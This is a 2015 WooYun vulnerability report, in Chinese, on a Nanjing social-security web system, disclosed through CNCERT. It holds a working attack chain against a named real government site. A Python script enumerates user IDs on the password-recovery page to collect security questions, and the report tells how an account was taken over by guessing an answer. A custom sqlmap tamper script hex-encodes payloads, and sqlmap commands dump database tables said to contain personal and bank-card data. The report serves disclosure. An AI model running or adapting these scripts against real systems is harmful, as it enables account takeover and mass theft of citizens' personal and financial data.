当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111454

漏洞标题:南京某社保系统存在注入漏洞(涉及海量数据包括个人信息、银行卡号等信息)

相关厂商:cncert国家互联网应急中心

漏洞作者: bfox

提交时间:2015-05-11 10:38

修复时间:2015-06-28 17:30

公开时间:2015-06-28 17:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:17

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-11: 细节已通知厂商并且等待厂商处理中
2015-05-14: 厂商已经确认,细节仅向厂商公开
2015-05-24: 细节向核心白帽子及相关领域专家公开
2015-06-03: 细节向普通白帽子公开
2015-06-13: 细节向实习白帽子公开
2015-06-28: 细节向公众公开

简要描述:

南京某社保系统存在注入漏洞(涉及海量数据包括个人信息、银行卡号等信息)

详细说明:

通过社会工程学,利用密码找回功能的缺陷,发现某用户的口令。
然后进行查询就业登记备案情况,拦截请求,发现直接传递编码后的sql语句。导致
注射漏洞的产生。

5.jpg

6.jpg

漏洞证明:

通过找回密码功能,发现用户口令
程序的代码如下:

#coding:utf-8
import requests
from bs4 import BeautifulSoup
prefix = '0000'
addr = 'http://wsbs.njhrss.gov.cn/NJLD/web/FindPad1.jsp'
customh = {
'Rost':'wsbs.njhrss.gov.cn',
'Content-Type':'application/x-www-form-urlencoded',
}
keyword1 = u'没有此注册用户'
keyword2 = u'您未设置密码找回问题'
for userid in xrange(6000, 7001):
username = prefix + str(userid)
param = { 'userid':username }
r = requests.post(addr, data=param, headers=customh)
if keyword1 not in r.text:
#print username
if keyword2 not in r.text:
#print username
root = BeautifulSoup(r.content)
qlist = root.find('td', attrs = {'width':'62%'}).getText()
print username, qlist


运行结果如下:

1.jpg



发现用户00006477的密码问题为111,猜测答案为111。发现该用户的口令为:

2.jpg



登录后查询就业登记情况,截取请求,截图如下:

3.jpg


对sqlin参数进行解码,发现为sql语句:

4.jpg


肯定存在sql注入了。
定制tamper,发现注入漏洞
Tamper的源代码如下:
root@promote:~# cat /usr/share/sqlmap/tamper/njsbb.py

#!/usr/bin/env python
"""
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
#retVal = payload
pos = payload.lower().find('select')
payload = payload[pos:]
#print payload
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
c = payload[i]
retVal += '@' + c.encode('hex').zfill(4)
return retVal


运行sqlmap,命令如下:
sqlmap -r /root/request.txt --tamper njsbb.py --dbms oracle -p sqlin --technique=U --level 5

5.jpg


列数据库
sqlmap -r /root/request.txt --tamper njsbb.py --dbms oracle -p sqlin –dbs

9.jpg


列表

<code>

</code>
sqlmap -r /root/request.txt --tamper njsbb.py --dbms oracle -p sqlin -D HR –tables

6.jpg


列内容
sqlmap -r /root/request.txt --tamper njsbb.py --dbms oracle -p sqlin -D HR -T EMPLOYEES --dump --start 1 --stop 2

7.jpg


sqlmap -r /root/request.txt --tamper njsbb.py --dbms oracle -p sqlin -D JGCW -T HDB --dump --start 1 --stop 10

8.jpg


问题与后果
1、 海量的数据库可以被脱裤。当前数据库7000多张表。
2、 数据库的版本为Oracle的9,应该可以提权和执行命令,没有测试
3、 测试的页面存访问控制问题,没有会话信息也可以访问。
4、 安全性只能呵呵。

修复方案:

通用的漏洞,检查其它的地方,有无类似的问题。不要头疼医头。

版权声明:转载请注明来源 bfox@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-05-14 17:29

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无